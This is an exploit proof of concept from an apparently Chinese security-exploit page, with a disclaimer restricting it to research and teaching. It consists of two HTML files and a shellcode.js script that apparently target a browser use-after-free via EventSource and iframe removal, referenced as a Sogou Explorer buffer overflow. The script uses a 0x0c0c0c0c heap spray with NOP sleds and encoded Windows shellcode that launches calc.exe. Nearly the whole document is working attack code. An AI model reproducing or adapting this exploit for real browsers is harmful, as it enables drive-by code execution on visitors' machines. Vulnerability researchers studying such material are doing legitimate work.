本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- <!--test2.html-->
- <html>
- <body>
- <script>
- top.source = new EventSource("aaat.htm");
- top.source.onerror = function(err) {
- top.finish();
- };
- </script>
- </body>
- </html>
- ----------------
- <!--test.html-->
- <html>
- <body>
- <iframe id="test" width="1" height="1"> </iframe>
- <script type="text/javascript" src="shellcode.js"></script>
- <script>
- var source;
- shellcode();
- function timer(){
- over();
- }
- function runTest(){
- document.getElementById("test").src = "test2.html";
- }
- function finish(){
- document.body.removeChild(document.getElementById("test"));
- setTimeout(timer,1000);
- //gc();
- }
- runTest();
- </script>
- <A HREF="test.html"> go </A>
- </body>
- <html>
- ----------------
- //shellcode.js
- function gc() {
- if (typeof GCController !== "undefined")
- GCController.collect();
- else {
- function gcRec(n) {
- if (n < 1)
- return {};
- var temp = {i: "ab" + i + (i / 100000)};
- temp += "foo";
- gcRec(n-1);
- }
- for (var i = 0; i < 1000; i++)
- gcRec(10)
- }
- }
- function shellcode() {
- var shell = unescape("%u6060%u96e9%u0000%u5600%uc931%u8b64%u3071%u768B%u8b0C%u1c76%u468b%u8b08%u207e%u368b%u3966%u184f%uf275%uc35e%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u37e3%u8b49%u8b34%uee01%uff31%uc031%uacfc%uc084%u0a74%ucfc1%u010d%ue9c7%ufff1%uffff%u7c3b%u2824%ude75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%uadc3%u5250%ua7e8%uffff%u89ff%u8107%u08c4%u0000%u8100%u04c7%u0000%u3900%u75ce%uc3e6%u19e8%u0000%u9800%u8afe%u7e0e%ue2d8%u8173%u00ec%u0000%u8900%ue8e5%uff5d%uffff%uc289%ue2eb%u8d5e%u047d%uf189%uc181%u0008%u0000%ub6e8%uffff%uebff%u5b0e%uc031%u5350%u55ff%u9004%u6161%uc031%ue8c3%uffed%uffff%u6163%u636c%u652e%u6578%u0000");
- var block = unescape("%u0c0c%u0c0c");
- var nops = unescape("%u9090%u9090%u9090");
- while (block.length <0x4000) block += block;
- block=block.substring(0x90);
- memory = new Array(1000);
- var shellstr=new Array(3);
- shellstr[0]=block;
- shellstr[1]=nops;
- shellstr[2]=shell;
- var i;
- for (i=0;i<0x1000;i++) memory[i] =shellstr.join("");
- }
- function over(){
- var str=unescape("%u0c0c%u0c0c");
- var str=unescape("%u0c0c%u0c0c");
- strb="";
- for(i=0;i<0x10000;++i){
- if(i<0x40) strb=strb+str;
- var sdiv=document.createElement("div");
- sdiv.innerText=strb;
- if(source.readyState==0x0c0c0c0c) {
- //alert("over ok! run calc.exe!");
- url=source.URL;
- }
- }
- }
- //http://forum.sysinternals.com/sogou-explorer-buffer-overflow-vulnerability_topic27040.html